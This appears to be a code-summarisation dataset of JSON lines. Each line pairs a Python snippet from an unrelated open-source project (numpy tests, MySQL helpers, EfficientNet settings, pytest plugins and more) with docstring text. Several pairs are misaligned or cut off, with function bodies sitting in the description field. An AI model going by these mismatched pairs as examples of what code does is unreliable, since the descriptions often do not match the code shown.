refresh(self):\n\n\t\tself.set_name(self.item.name)\n\t\tself.set_desc(self.item.var.description)\n", "nl": "desc:Updates the header so that it's content match the item."} {"code": "def test_unchanged_3(self):\n self.unchanged(s)\n\nclass Test_repr(FixerTestCase):\n fixer = \"repr\"\n", "nl": "s = exec(code, ns)self.unchanged(s)def test_unchanged_4(self):s = exec(code, ns1, ns2)"} {"code": "def test_ma_bottleneck_reward_sign():\n class TestEnv(MultiAgentBottleneckEnv):\n _respawn_count = 0\n\n @property", "nl": "If agent is simply moving forward without any steering, it will at least gain ~100 rewards, since we have a longstraight road before coming into bottleneck.However, some bugs cause the vehicles receive negative reward by doing this behavior!"} {"code": "def roundtrip(self, save_func, *args, **kwargs):\n save_kwds = kwargs.get('save_kwds', {})\n load_kwds = kwargs.get('load_kwds', {})\n file_on_disk = kwargs.get('file_on_disk', False)\n\n if file_on_disk:\n target_file = NamedTemporaryFile(delete=False)\n load_file = target_file.name\n else:\n target_file = BytesIO()\n load_file = target_file\n\n try:\n arr = args\n\n save_func(target_file, *arr, **save_kwds)\n target_file.flush()\n target_file.seek(0)\n\n if sys.platform == 'win32' and not isinstance(target_file, BytesIO):\n target_file.close()\n\n arr_reloaded = np.load(load_file, **load_kwds)\n\n self.arr = arr\n self.arr_reloaded = arr_reloaded\n finally:\n if not isinstance(target_file, BytesIO):\n target_file.close()\n if not isinstance(arr_reloaded, np.lib.npyio.NpzFile):\n os.remove(target_file.name)\n", "nl": "save_func : callableFunction used to save arrays to file.file_on_disk : boolIf true, store the file on disk, instead of in astring buffer.save_kwds : dictParameters passed to `save_func`.load_kwds : dictParameters passed to `numpy.load`.args : tuple of arraysArrays stored to file."} {"code": "def check(self):\n\n self.missing_value = False\n self.missing_lines = False\n self.incorrect_width = False\n self.multiple_second_ref = False\n self.missing_second_ref = False\n\n module = self.module\n self.f_fabrication_all = module.filterGraphs('F.Fab')\n self.b_fabrication_all = module.filterGraphs('B.Fab')\n\n self.f_fabrication_lines = module.filterLines('F.Fab')\n self.b_fabrication_lines = module.filterLines('B.Fab')\n\n self.missing_value = self.checkMissingValue()\n self.missing_lines = self.checkMissingLines()\n self.incorrect_width = self.checkIncorrectWidth()\n self.missing_second_ref = self.checkSecondRef()\n\n if self.multiple_second_ref:\n self.error(\"Mutliple RefDes markers found with text '%R'\")\n\n return any([\n self.missing_value,\n self.missing_lines,\n self.incorrect_width,\n self.missing_second_ref,\n ])\n", "nl": "Proceeds the checking of the rule.The following variables will be accessible after checking:* f_fabrication_all* b_fabrication_all* f_fabrication_lines* b_fabrication_lines* bad_fabrication_width* non_nominal_width"} {"code": "def create_gold_gen(self, ex, ontology_dict,mark_trigger=True, index=0):\n\n evt_type = ex['event_mentions'][index]['event_type']\n\n context_words = ex['tokens']\n template = ontology_dict[evt_type]['template']\n input_template = re.sub(r'', '', template)\n\n\n space_tokenized_input_template = input_template.split()\n tokenized_input_template = []\n for w in space_tokenized_input_template:\n tokenized_input_template.extend(self.tokenizer.tokenize(w, add_prefix_space=True))\n", "nl": "If there are multiple events per example, use index parameter.Input: Template with special placeholders Passage Output: Template with arguments and when no argument is found."} {"code": "def __init__(self, title, az, retryable_for_secs=0, strict=False):\n super(AzClauseBuilder, self).__init__(\n title=title, retryable_for_secs=retryable_for_secs)\n self.__az = az\n self.__strict = strict\n", "nl": "Construct new clause.Attributes:title: The string title for the clause is only for reporting purposes.az: The AzAgent to make the observation for the clause to verify.retryable_for_secs: Number of seconds that observations can be retriedif their verification initially fails.strict: DEPRECATED flag indicating whether the clauses (added later)must be true for all objects (strict) or at least one (not strict).See ValueObservationVerifierBuilder for more information.This is deprecated because in the future this should be on a perconstraint basis."} {"code": "def parse_votable(content):\n tables = votable.parse(BytesIO(content), verify='warn')\n return tables", "nl": "Parse a votable in string format"} {"code": "def validate(data, relation):\n\n validator = RelationBaseValidator()\n sane = validator.deserialize(data)\n project = sane.get('project')\n\n schema_validator = colander.SchemaNode(colander.Mapping())\n schema_validator.add(colander.SchemaNode(SchemaRef(project),\n name='schema'))\n schema_validator.add(colander.SchemaNode(EntityRef(project=project),\n name='source'))\n schema_validator.add(colander.SchemaNode(EntityRef(project=project),\n name='target'))\n\n sane.update(schema_validator.deserialize(data))\n\n sane['properties'] = properties_logic.validate('relation', relation,\n project, sane.get('schema'),\n data.get('properties', []))\n return sane\n\n\n@celery.task", "nl": " Due to some fairly weird interdependencies between the different elementsof the model, validation of relations has to happen in three steps. "} {"code": "def __getitem__(self, item):\n\n img_path = self.image_paths[item]\n image = cv2.imread(img_path)\n\n boxes = np.copy(self.boxes[item])\n\n proc_img, sample = preprocess(image, boxes)\n proc_img = torch.from_numpy(proc_img)\n proc_img = self.normalize(proc_img)\n sample[\"image\"] = proc_img\n sample[\"orig_image\"] = image\n\n sample[\"keypoints\"] = self.keypoint_formater.format_stacked_keypoints(\n item, self.keypoints_info,\n sample[\"im_shape\"]\n )\n\n sample[\"im_shape\"] = torch.tensor(sample[\"im_shape\"]).float()\n sample[\"img_path\"] = img_path\n sample[\"img_id\"] = item\n\n return sample", "nl": "Args:item (int):Returns:sample (dict): the sample information, it contains,--image (torch.Tensor): (3, 224, 224) is the cropped image range of [0, 1] and normalizedby MEAN and STD, RGB channel;--orig_image (torch.Tensor): (3, height, width) is the in rage of [0, 1], RGB channel;--im_shape (torch.Tensor): (height, width)--keypoints (dict): the keypoints information, it contains,--pose_keypoints_2d (torch.Tensor): (25, 3)--face_keypoints_2d (torch.Tensor):--hand_left_keypoints_2d (torch.Tensor):--hand_right_keypoints_2d (torch.Tensor):--center (torch.Tensor): (2,);--start_pt (torch.Tensor): (2,);--scale (torch.Tensor): (1,);--img_path (str): the image path."} {"code": "def cancel_build(br):\n Build control\n\n Entry point: /xhr_buildrequest/\n Method: POST\n\n Args:\n id: id of build to change\n buildCancel = build_request_id ...\n buildDelete = id ...\n targets = recipe_name ...\n\n Returns:\n {\"error\": \"ok\"}\n or\n {\"error\": }\n \"\"\"", "nl": "Cancel a build requesttry:bbctrl = bbcontroller.BitbakeController(br.environment)bbctrl.forceShutDown()except:# We catch a bunch of exceptions here because# this is where the server has not had time to start up# and the build request or build is in transit between# processes.# We can safely just set the build as cancelled# already as it never got startedbuild = br.buildbuild.outcome = Build.CANCELLEDbuild.save()# We now hand over to the buildinfohelper to update the# build state once we've finished cancellingbr.state = BuildRequest.REQ_CANCELLINGbr.save()def post(self, request, *args, **kwargs):"} {"code": "def col (loc,strg):\n s = strg\n return 1 if 0`` s, and suggestedmethods to maintain a consistent view of the parsed string, the parselocation, and line and column positions within the parsed string."} {"code": "def _saveScreenNameFailure(unmappedScreenName):\n\n ins = (collectorsdb.schema\n .twitterHandleFailures.insert()\n .prefix_with('IGNORE', dialect=\"mysql\")\n .values(handle=unmappedScreenName))\n\n collectorsdb.engineFactory().execute(ins)\n\n g_log.info(\"Saved unmapped twitter handle; handle=%s\", unmappedScreenName)\n\n\n\n@collectorsdb.retryOnTransientErrors", "nl": "Save unmapped twitter handle in database:param unmappedScreenName: the twitter handle that is not valid anymore:type unmappedScreenName: string"} {"code": "def is_padded(self, namespace: str) -> bool:\n return self._index_to_token[namespace][0] == self._padding_token\n", "nl": "Returns whether or not there are padding and OOV tokens added to the given namepsace."} {"code": "def threaded_waitpid(process):\n try:\n process.returned = os.waitpid(process.pid, 0)[1]\n except:\n log.Debug(_(\"GPG process %d terminated before wait()\") % process.pid)\n process.returned = 0\n\n", "nl": "When started as a thread with the Process object, threadwill execute an immediate waitpid() against the processpid and will collect the process termination info. Thiswill allow us to reap child processes as soon as possible,thus freeing resources quickly."} {"code": "def register_extension_dtype(cls):\n registry.register(cls)\n return cls\n\n\nclass Registry(object):\n \"\"\"", "nl": "Class decorator to register an ExtensionType with pandas... versionadded:: 0.24.0This enables operations like ``.astype(name)`` for the nameof the ExtensionDtype.Examples-------->>> from pandas.api.extensions import register_extension_dtype>>> from pandas.api.extensions import ExtensionDtype>>> @register_extension_dtype... class MyExtensionDtype(ExtensionDtype):... pass"} {"code": "def test_get_grad_level(self):\n school_pk = 155555\n self.assertEqual(School.objects.get(pk=school_pk).degrees_highest, \"\")\n process_cohorts.run(single_school=school_pk)\n self.assertIs(\n School.objects.get(pk=school_pk).cohort_ranking_by_highest_degree,\n None,\n )\n", "nl": "Make sure higher-degree schools join the grad-degree '4' cohort.level_2_school = School.objects.get(pk=100636)level_4_school = School.objects.get(pk=243197)level_5_school = School.objects.get(pk=243197)self.assertEqual(process_cohorts.get_grad_level(level_2_school), \"2\")self.assertEqual(process_cohorts.get_grad_level(level_4_school), \"4\")self.assertEqual(process_cohorts.get_grad_level(level_5_school), \"4\")def test_school_with_no_degrees_highest(self):A school with no degrees_highest value should not be in a cohort."} {"code": "def guess_content_type(filename, default='application/octet-stream'):\n if filename:", "nl": "Guess the \"Content-Type\" of a file.:param filename:The filename to guess the \"Content-Type\" of using :mod:`mimetypes`.:param default:If no \"Content-Type\" can be guessed, default to `default`."} {"code": "def test_nameserverAdditionalAAAA(self):\n self._additionalNSTest([self._AAAA])\n\n", "nl": "If the name of the NS response has AAAA records, they are included inthe additional section of the response."} {"code": "def get_resolution_selector(res: str, height: int, width: int):\n orientation = calc_aspect_ratio_orientation(width=width, height=height)\n x_overlap, y_overlap, slice_width, slice_height = calc_slice_and_overlap_params(\n resolution=res, height=height, width=width, orientation=orientation\n )\n\n return x_overlap, y_overlap, slice_width, slice_height\n\n", "nl": "Args:res: resolution of image such as low, mediumheight:width:Returns:trigger slicing params function and return overlap params"} {"code": "def calculate_ssim(img1, img2):\n if not img1.shape == img2.shape:\n raise ValueError('Input images must have the same dimensions.')\n if img1.ndim == 2:\n return ssim(img1, img2)\n elif img1.ndim == 3:\n if img1.shape[2] == 3:\n ssims = []\n for i in range(3):\n ssims.append(ssim(img1, img2))\n return np.array(ssims).mean()\n elif img1.shape[2] == 1:\n return ssim(np.squeeze(img1), np.squeeze(img2))\n else:\n raise ValueError('Wrong input image dimensions.')\n\n\nclass ProgressBar(object):\n '''A progress bar which can print the progress\n", "nl": "calculate SSIMthe same outputs as MATLAB'simg1, img2: [0, 255]"} {"code": "def get_version_date(part_number, doc_number):\n Redirect legacy eregulations pages to the relevant regulations3k page.\n\n If a regulation version doesn't exist in regs3k or isn't approved yet,\n requests for that version will be redirected to the current regulation\n version in regulations3k.\n \"\"\"", "nl": "Return a version date string if there's a valid associated version.if doc_number not in VERSION_MAP[part_number]:returnversion_date = VERSION_MAP[part_number][doc_number]effective_date = parser.parse(version_date).date()if EffectiveVersion.objects.filter(part__part_number=part_number,effective_date=effective_date,draft=False,).exists():return version_datedef redirect_eregs(request, **kwargs):"} {"code": "def hz2mel(hz):\n return 2595 * numpy.log10(1+hz/700.)\n", "nl": "Convert a value in Hertz to Mels:param hz: a value in Hz. This can also be a numpy array, conversion proceeds element-wise.:returns: a value in Mels. If an array was passed in, an identical sized array is returned."} {"code": "def configure(self, dataSeries):\n self._setRange(dataSeries)\n self._configure_end()\n", "nl": "Let the axis configure its scale and range based on the data.Called after setPosition. Let it look at a list of lists ofnumbers determine the tick mark intervals. If valueMin,valueMax and valueStep are configured then itwill use them; if any of them are set to None itwill look at the data and make some sensible decision.You may override this to build custom axes withirregular intervals. It creates an internalvariable self._values, which is a list of numbersto use in plotting."} {"code": "def overwrite_grad(pp, newgrad, grad_dims):\n cnt = 0\n for param in pp():\n if param.grad is not None:\n beg = 0 if cnt == 0 else sum(grad_dims[:cnt])\n en = sum(grad_dims[:cnt + 1])\n this_grad = newgrad[beg: en].contiguous().view(\n param.grad.data.size())\n param.grad.data.copy_(this_grad)\n cnt += 1\n\n", "nl": "This is used to overwrite the gradients with a new gradientvector, whenever violations occur.pp: parametersnewgrad: corrected gradientgrad_dims: list storing number of parameters at each layer"} {"code": "def azmap (scores, compare, dimension=0):\n mns = amean(compare,dimension)\n sstd = asamplestdev(compare,0)\n return (scores - mns) / sstd\n\n\n", "nl": "Returns an array of z-scores the shape of scores (e.g., [x,y]), compared toarray passed to compare (e.g., [time,x,y]). Assumes collapsing over dim 0of the compare array.Usage: azs(scores, compare, dimension=0)"} {"code": "def connect_db(self, database: str, return_type: str):\n db = pymysql.connect(\n host=self.mysql_host,\n user=self.mysql_user,\n password=self.mysql_pw,\n charset=self.mysql_char,\n )\n database_sql = \"CREATE DATABASE if not exists {}\".format(database)\n try:\n cursor = db.cursor()\n cursor.execute(database_sql)\n echo(2, \"Create Database {} Success!!!\".format(database))\n return True\n except:\n echo(0, \"Create Database {} error\".format(database))\n return False\n", "nl": " connect database cursorclass = (pymysql.cursors.DictCursorif return_type == \"dict\"else pymysql.cursors.Cursor)try:self.db = pymysql.connect(host=self.mysql_host,user=self.mysql_user,password=self.mysql_pw,db=database,charset=self.mysql_char,cursorclass=cursorclass,)self.cursor = self.db.cursor()except pymysql.OperationalError:echo(0, \"Please change mysql info in util/db.ini!!!\")self.db = Falseself.cursor = Noneexcept pymysql.InternalError:echo(2, \"Try to create database in mysql.........\")if self.create_db(database):self.connect_db(database, return_type)else:self.db = Falseself.cursor = Noneexcept:echo(0, \"Other db error!!!\")self.db = Falseself.cursor = Nonedef reconnect(self):self.connect_db(self.database, self.return_type)def _reConn(self, num: int = 28800, stime: int = 3):_number = 0_status = Truewhile _status and _number <= num:try:self.conn.ping()_status = Falseexcept:self.reconnect()if self.db != False:_status = Falsebreak_number += 1time.sleep(stime)def create_db(self, database: str): crete database "} {"code": "def _get_audio_extension(self) -> None:\n self.rpd_file.audio_extension = self._get_associated_file_extension(\n self.rpd_file.audio_file_full_name\n )\n", "nl": "Generates audio extension with correct capitalization, if needede.g. WAV or wav"} {"code": "def run(self):\n self._is_active = False\n\n watchdog_lease = self.tm_env.watchdogs.create(\n name='svc-{svc_name}'.format(svc_name=self.name),\n timeout='{hb:d}s'.format(hb=_WATCHDOG_TIMEOUT_SEC),\n content='Service %r failed' % self.name\n )\n\n watch = dirwatch.DirWatcher(self.tm_env.cache_dir)\n watch.on_created = self._on_created\n watch.on_modified = self._on_modified\n watch.on_deleted = self._on_deleted\n\n watchdog_lease.heartbeat()\n\n while True:\n if watch.wait_for_events(timeout=_HEARTBEAT_SEC):\n watch.process_events(max_events=5)\n else:\n if self._is_active is True:\n cached_files = glob.glob(\n os.path.join(self.tm_env.cache_dir, '*')\n )\n running_links = glob.glob(\n os.path.join(self.tm_env.running_dir, '*')\n )\n cached_containers = {\n appcfg.eventfile_unique_name(filename)\n for filename in cached_files\n }\n running_instances = {\n os.path.basename(linkname)\n for linkname in running_links\n }\n _LOGGER.debug('content of %r and %r: %r <-> %r',\n self.tm_env.cache_dir,\n self.tm_env.running_dir,\n cached_containers,\n running_instances)\n\n else:\n _LOGGER.info('Still inactive during heartbeat event.')\n\n watchdog_lease.heartbeat()\n\n _LOGGER.info('service shutdown.')\n watchdog_lease.remove()\n", "nl": "Setup directories' watches and start the re-scan ticker."} {"code": "def efficientnet_params(model_name):\n params_dict = {\n 'efficientnet-b0': (1.0, 1.0, 224, 0.2),\n 'efficientnet-b1': (1.0, 1.1, 240, 0.2),\n 'efficientnet-b2': (1.1, 1.2, 260, 0.3),\n 'efficientnet-b3': (1.2, 1.4, 300, 0.3),\n 'efficientnet-b4': (1.4, 1.8, 380, 0.4),\n 'efficientnet-b5': (1.6, 2.2, 456, 0.4),\n 'efficientnet-b6': (1.8, 2.6, 528, 0.5),\n 'efficientnet-b7': (2.0, 3.1, 600, 0.5),\n 'efficientnet-b8': (2.2, 3.6, 672, 0.5),\n 'efficientnet-l2': (4.3, 5.3, 800, 0.5),\n }\n return params_dict[model_name]\n\n", "nl": "Map EfficientNet model name to parameter coefficients.Args:model_name (str): Model name to be queried.Returns:params_dict[model_name]: A (width,depth,res,dropout) tuple."} {"code": "def __init__(self, context=None):\n self.context = context or {}\n self.source = None\n", "nl": "Initialise an instance.:param context: If specified, names are looked up in this mapping."} {"code": "def get_token(self, pos, brackets_are_chars=True, environments=True, keep_inline_math=None):\n\n s = self.s\n\n with _PushPropOverride(self, 'keep_inline_math', keep_inline_math):\n\n space = '';\n while (pos < len(s) and s[pos].isspace()):\n space += s[pos]\n pos += 1\n if (space.endswith('\\n\\n')):\n return LatexToken(tok='char', arg='\\n\\n', pos=pos-2, len=2, pre_space='')\n\n\n if (pos >= len(s)):\n raise LatexWalkerEndOfStream()\n\n if (s[pos] == '\\\\'):\n i = 2\n macro = s[pos+1]\n if (s[pos+1].isalpha()):\n while pos+i rsize:\n for index in range(index, lsize):\n lt, lv = left_cpool.pretty_const(index)\n yield (index, lt, lv, None, None)\n\n elif rsize > lsize:\n for index in range(index, rsize):\n rt, rv = right_cpool.pretty_const(index)\n yield (index, None, None, rt, rv)\n\n", "nl": "sequence of tuples containing (index, left type, left prettyvalue, right type, right pretty value). If the constant pools areof inequal length, a value of None will be set in place of thetype and pretty value for indexes past its end"} {"code": "def decode_torch(self, box_encodings, points, pred_classes=None):\n xt, yt, zt, dxt, dyt, dzt, cost, sint, *cts = torch.split(box_encodings, 1, dim=-1)\n xa, ya, za = torch.split(points, 1, dim=-1)\n\n if self.use_mean_size:\n assert pred_classes.max() <= self.mean_size.shape[0]\n point_anchor_size = self.mean_size[pred_classes - 1]\n dxa, dya, dza = torch.split(point_anchor_size, 1, dim=-1)\n diagonal = torch.sqrt(dxa ** 2 + dya ** 2)\n xg = xt * diagonal + xa\n yg = yt * diagonal + ya\n zg = zt * dza + za\n\n dxg = torch.exp(dxt) * dxa\n dyg = torch.exp(dyt) * dya\n dzg = torch.exp(dzt) * dza\n else:\n xg = xt + xa\n yg = yt + ya\n zg = zt + za\n dxg, dyg, dzg = torch.split(torch.exp(box_encodings[..., 3:6]), 1, dim=-1)\n\n rg = torch.atan2(sint, cost)\n\n cgs = [t for t in cts]\n return torch.cat([xg, yg, zg, dxg, dyg, dzg, rg, *cgs], dim=-1)\n\nclass PointResidual_BinOri_Coder(object):", "nl": "Args:box_encodings: (N, 8 + C) [x, y, z, dx, dy, dz, cos, sin, ...]points: [x, y, z]pred_classes: (N) [1, num_classes]Returns:"} {"code": "def get_running_loop():\n loop = _get_running_loop()\n if loop is None:\n raise RuntimeError('no running event loop')\n return loop\n\n", "nl": "Return the running event loop. Raise a RuntimeError if there is none.This function is thread-specific."} {"code": "def release_to_metadata(node, m, album=None):\n m.add_unique('musicbrainz_releasegroupid', node['id'])\n for key, value in _node_skip_empty_iter(node):\n if key in _RELEASE_GROUP_TO_METADATA:\n m[_RELEASE_GROUP_TO_METADATA[key]] = value\n elif key == 'primary-type':\n m['~primaryreleasetype'] = value.lower()\n elif key == 'secondary-types':\n add_secondary_release_types(value, m)\n add_genres_from_node(node, release_group)\n if m['~releasegroup_firstreleasedate']:\n m['originaldate'] = m['~releasegroup_firstreleasedate']\n m['originalyear'] = m['originaldate'][:4]\n m['releasetype'] = m.getall('~primaryreleasetype') + m.getall('~secondaryreleasetype')\n\n", "nl": "Make metadata dict from a JSON 'release' node.config = get_config()m.add_unique('musicbrainz_albumid', node['id'])for key, value in _node_skip_empty_iter(node):if key in _RELEASE_TO_METADATA:m[_RELEASE_TO_METADATA[key]] = valueelif key == 'status':m['releasestatus'] = value.lower()elif key == 'artist-credit':artist_credit_to_metadata(value, m, release=True)# set tags from artistsif album is not None:for credit in value:artist = credit['artist']artist_obj = album.append_album_artist(artist['id'])add_genres_from_node(artist, artist_obj)elif key == 'relations' and config.setting['release_ars']:_relations_to_metadata(value, m, config=config)elif key == 'label-info':m['label'], m['catalognumber'] = label_info_from_node(value)elif key == 'text-representation':if 'language' in value:m['~releaselanguage'] = value['language']if 'script' in value:m['script'] = value['script']m['~releasecountries'] = release_countries = countries_from_node(node)# The MB web service returns the first release country in the country tag.# If the user has configured preferred release countries, use the first one# if it is one in the complete list of release countries.for country in config.setting[\"preferred_release_countries\"]:if country in release_countries:m['releasecountry'] = countrybreakadd_genres_from_node(node, album)def release_group_to_metadata(node, m, release_group=None):Make metadata dict from a JSON 'release-group' node taken from inside a 'release' node."} {"code": "def is_affordable_transaction(self, terms: Terms) -> bool:\n if all(amount == 0 for amount in terms.amount_by_currency_id.values()) and all(\n quantity == 0 for quantity in terms.quantities_by_good_id.values()\n ):\n result = False\n elif all(\n amount <= 0 for amount in terms.amount_by_currency_id.values()\n ) and all(quantity >= 0 for quantity in terms.quantities_by_good_id.values()):\n result = all(\n self.amount_by_currency_id[currency_id] >= -amount\n for currency_id, amount in terms.amount_by_currency_id.items()\n )\n elif all(\n amount >= 0 for amount in terms.amount_by_currency_id.values()\n ) and all(quantity <= 0 for quantity in terms.quantities_by_good_id.values()):\n result = all(\n self.quantities_by_good_id[good_id] >= -quantity\n for good_id, quantity in terms.quantities_by_good_id.items()\n )\n else:\n result = False\n return result\n", "nl": "Check if the transaction is affordable (and consistent).E.g. check that the agent state has enough money if it is a buyer or enough holdings if it is a seller.Note, the agent is the sender of the transaction message by design.:param terms: the transaction terms:return: True if the transaction is legal wrt the current state, false otherwise."} {"code": "def clean(self):\n cleaned_data = super(UserCredential, self).clean()\n if \"username\" in cleaned_data and \"password\" in cleaned_data:\n auth = utils.import_attr(settings.CAS_AUTH_CLASS)(cleaned_data[\"username\"])\n if auth.test_password(cleaned_data[\"password\"]):\n cleaned_data[\"username\"] = auth.username\n else:\n raise forms.ValidationError(\n _(u\"The credentials you provided cannot be determined to be authentic.\")\n )\n return cleaned_data\n\n\nclass FederateUserCredential(UserCredential):\n \"\"\"\n", "nl": "Validate that the submited :attr:`username` and :attr:`password` are valid:raises django.forms.ValidationError: if the :attr:`username` and :attr:`password`are not valid.:return: The cleaned POST data:rtype: dict"} {"code": "def setup_const_pt(self):\n\t\ttry:\n\t\t\tself._const_pt = self.const_parse_tree()\n\t\texcept Exception as e:\n\t\t\traise ConstituencyTreeParsingException(\n\t\t\t\t'Constituency parse tree set up failed. Please check if the input format (json/string) is mentioned correctly'\n\t\t\t)\n", "nl": "A method to construct the constituency parse treeArgs:NoneReturns:None:"} {"code": "def merge_timeframes(timeframes, gap=0):\n assert isinstance(timeframes, list)\n assert all([isinstance(timeframe, TimeFrame) for timeframe in timeframes])\n n_timeframes = len(timeframes)\n if n_timeframes == 0:\n return []\n elif n_timeframes == 1:\n return timeframes\n\n merged = [timeframes[0]]\n for timeframe in timeframes[1:]:\n if timeframe.adjacent(merged[-1], gap):\n merged[-1] = timeframe.union(merged[-1])\n else:\n merged.append(timeframe)\n\n return merged\n\n", "nl": "Parameters----------timeframes : list of TimeFrame objects (must be sorted)Returns-------merged : list of TimeFrame objectsWhere adjacent timeframes have been merged."} {"code": "def get_metric(name: str) -> Callable:\n return torchmetrics.functional.accuracy(preds=predictions, target=labels)\n\n", "nl": "Get metrics from string names.if name == \"accuracy\":return accuracyelif name == \"f1\":return f1elif name == \"f1_micro\":return f1_microelif name == \"f1_macro\":return f1_macroelse:raise NotImplementedError(f\"Metric name {name} not recognized.\")def accuracy(predictions: Union[list, np.array, torch.Tensor],labels: Union[list, np.array, torch.Tensor],):Calculate accuracy."} {"code": "def euclidean_dist(x, y):\n m, n = x.size(0), y.size(0)\n xx = torch.pow(x, 2).sum(1, keepdim=True).expand(m, n)\n yy = torch.pow(y, 2).sum(1, keepdim=True).expand(n, m).t()\n dist = xx + yy\n dist.addmm_(1, -2, x, y.t())\n dist = dist.clamp(min=1e-12).sqrt()\n return dist\n", "nl": "Args:x: pytorch Variable, with shape [m, d]y: pytorch Variable, with shape [n, d]Returns:dist: pytorch Variable, with shape [m, n]"} {"code": "defaults to 'ccw'. Can be 'ccw' (counterclockwise) or 'cw' (clockwise).\n widgets larger than the actual widget, a number smaller than 1 will leave\n a gap.\n\n :attr:`outer_radius_hint` is a :class:`~kivy.properties.NumericProperty` and", "nl": "outer_radius_hint = NumericProperty(1)Sets the size of the outer circle. A number greater than 1 will make the"} {"code": "def concatenate_matrices(*matrices):\n M = numpy.identity(4)\n for i in matrices:\n M = numpy.dot(M, i)\n return M\n\n", "nl": "Return concatenation of series of transformation matrices.>>> M = numpy.random.rand(16).reshape((4, 4)) - 0.5>>> numpy.allclose(M, concatenate_matrices(M))True>>> numpy.allclose(numpy.dot(M, M.T), concatenate_matrices(M, M.T))True"} {"code": "def _decorator_split(self, *unnamed_args, **named_args):\n self.syntax = \"@split\"\n self.description_with_args_placeholder = \"%s(%%s)\\n%s\" % (self.syntax,\n self._get_decorated_function())\n\n if isinstance(unnamed_args[1], regex):\n self._prepare_subdivide(unnamed_args, named_args,\n self.description_with_args_placeholder)\n\n else:\n self._prepare_split(unnamed_args, named_args)\n", "nl": "@split"} {"code": "def copy2(src, dst):\n if os.path.isdir(dst):\n dst = os.path.join(dst, os.path.basename(src))\n copyfile(src, dst)\n copystat(src, dst)\n", "nl": "Copy data and all stat info (\"cp -p src dst\").The destination may be a directory."} {"code": "def test_extract_parameters_from_logfile(self):\n 07/20/2017 16:37:48 natcap.invest.ui.model INFO\n Arguments for InVEST some_model some_version:\n suffix foo\n some_int 1\n some_float 2.33\n workspace_dir some_workspace_dir\n\n 07/20/2017 16:37:48 natcap.invest.ui.model INFO post args.\n \"\"\"))", "nl": "Datastacks: Verify we can read args from a logfile.from natcap.invest import datastacklogfile_path = os.path.join(self.workspace, 'logfile')with open(logfile_path, 'w') as logfile:logfile.write(textwrap.dedent("} {"code": "def pytest_unconfigure(self, config):\n self.collect_types.resume()\n", "nl": "Unconfigure the pytest plugin. Happens when pytest is about to exit.self.collect_types.dump_stats(self.output_file)def pytest_runtest_call(self):Handle the pytest hook event that a test is about to be run: start type collection."} {"code": "def register_shortcut(self, shortcutChar, expansion):\n if shortcutChar in self.shortcutKeys:\n del self.shortcutKeys[shortcutChar]\n self.shortcutKeys[shortcutChar] = expansion\n", "nl": "Register a new shortcut key expansion. If a shortcut key is reusedthe old command will be deleted."} {"code": "def update(self, iterable):\n inserted_any = False\n for header in iterable:\n key = header.lower()\n if key not in self._set:\n self._headers.append(header)\n self._set.add(key)\n inserted_any = True\n if inserted_any and self.on_update is not None:\n self.on_update(self)\n", "nl": "Add all the headers from the iterable to the set.:param iterable: updates the set with the items from the iterable."} {"code": "def get(self):\n @webutils.get_api(\n api,\n cors,\n resp_model=report_resource_resp_model,\n parser=arg_parser,\n json_resp=False\n )", "nl": "Return the servers report.args = arg_parser.parse_args()return fetch_report('servers', **args)@namespace.route('/allocations')class _AllocsResource(restplus.Resource):Allocations report resource."} {"code": "def test_assertRaisesContextExpected(self):\n exception = ValueError('marker')\n\n with self.assertRaises(ValueError) as context:\n raise exception\n\n self.assertIs(exception, context.exception)\n\n", "nl": "If C{assertRaises} is used to create a context manager and an exceptionis raised from the body of the C{with} statement then the contextmanager's C{exception} attribute is set to the exception that wasraised."} {"code": "def add_new_users(new_users):\n for user in new_users:\n if user in users:\n continue", "nl": "Add new users to the global users list unless already in the list."} {"code": "def test_travelling_sales_invalid():\n state = np.array([1, 4, 1, 3, 5, 5, 2, 7])\n assert Queens().evaluate(state) == 6\n\n @staticmethod", "nl": "Test TravellingSales fitness function for invalid tourdists = [(0, 1, 3), (0, 2, 5), (0, 3, 1), (0, 4, 7), (1, 3, 6),(4, 1, 9), (2, 3, 8), (2, 4, 2), (3, 2, 8), (3, 4, 4)]state = np.array([0, 1, 2, 3, 4])assert TravellingSales(distances=dists).evaluate(state) == np.inf@staticmethoddef test_queens():Test Queens fitness function"} {"code": "def bytes2word(bytes):\n return unpack(\"L\", bytes)[0]\n\n", "nl": "Convert a bytes string to an unsigned integer (a CPU word)."} {"code": "def _get_pages(self, locations, project_name):\n seen = set()\n for location in locations:\n if location in seen:\n continue\n seen.add(location)\n\n page = self._get_page(location)\n if page is None:\n continue\n\n yield page\n\n _py_version_re = re.compile(r'-py([123]\\.?[0-9]?)$')\n", "nl": "Yields (page, page_url) from the given locations, skippinglocations that have errors."} {"code": "def _train_step(self, batch):\n for train_steps_per_epoch, batch in enumerate(self.data_loader[\"train\"], 1):\n self._train_step(batch)\n\n if self.config[\"rank\"] == 0:\n self._check_log_interval()\n self._check_eval_interval()\n self._check_save_interval()\n\n if self.finish_train:\n return\n\n self.epochs += 1\n self.train_steps_per_epoch = train_steps_per_epoch\n logging.info(f\"(Steps: {self.steps}) Finished {self.epochs} epoch training \"\n f\"({self.train_steps_per_epoch} steps per epoch).\")\n\n @torch.no_grad()", "nl": "Train model one step.# parse batchx, y = batchx = tuple([x_.to(self.device) for x_ in x])y = y.to(self.device)######################## Generator ######################### calculate generator lossy_ = self.model[\"generator\"](*x)y, y_ = y.squeeze(1), y_.squeeze(1)sc_loss, mag_loss = self.criterion[\"stft\"](y_, y)gen_loss = sc_loss + mag_lossif self.steps > self.config[\"discriminator_train_start_steps\"]:# keep compatibilitygen_loss *= self.config.get(\"lambda_aux_after_introduce_adv_loss\", 1.0)p_ = self.model[\"discriminator\"](y_.unsqueeze(1))if not isinstance(p_, list):# for standard discriminatoradv_loss = self.criterion[\"mse\"](p_, p_.new_ones(p_.size()))self.total_train_loss[\"train/adversarial_loss\"] += adv_loss.item()else:# for multi-scale discriminatoradv_loss = 0.0for i in range(len(p_)):adv_loss += self.criterion[\"mse\"](p_[i][-1], p_[i][-1].new_ones(p_[i][-1].size()))adv_loss /= (i + 1)self.total_train_loss[\"train/adversarial_loss\"] += adv_loss.item()# feature matching lossif self.config[\"use_feat_match_loss\"]:# no need to track gradientswith torch.no_grad():p = self.model[\"discriminator\"](y.unsqueeze(1))fm_loss = 0.0for i in range(len(p_)):for j in range(len(p_[i]) - 1):fm_loss += self.criterion[\"l1\"](p_[i][j], p[i][j].detach())fm_loss /= (i + 1) * (j + 1)self.total_train_loss[\"train/feature_matching_loss\"] += fm_loss.item()adv_loss += self.config[\"lambda_feat_match\"] * fm_lossgen_loss += 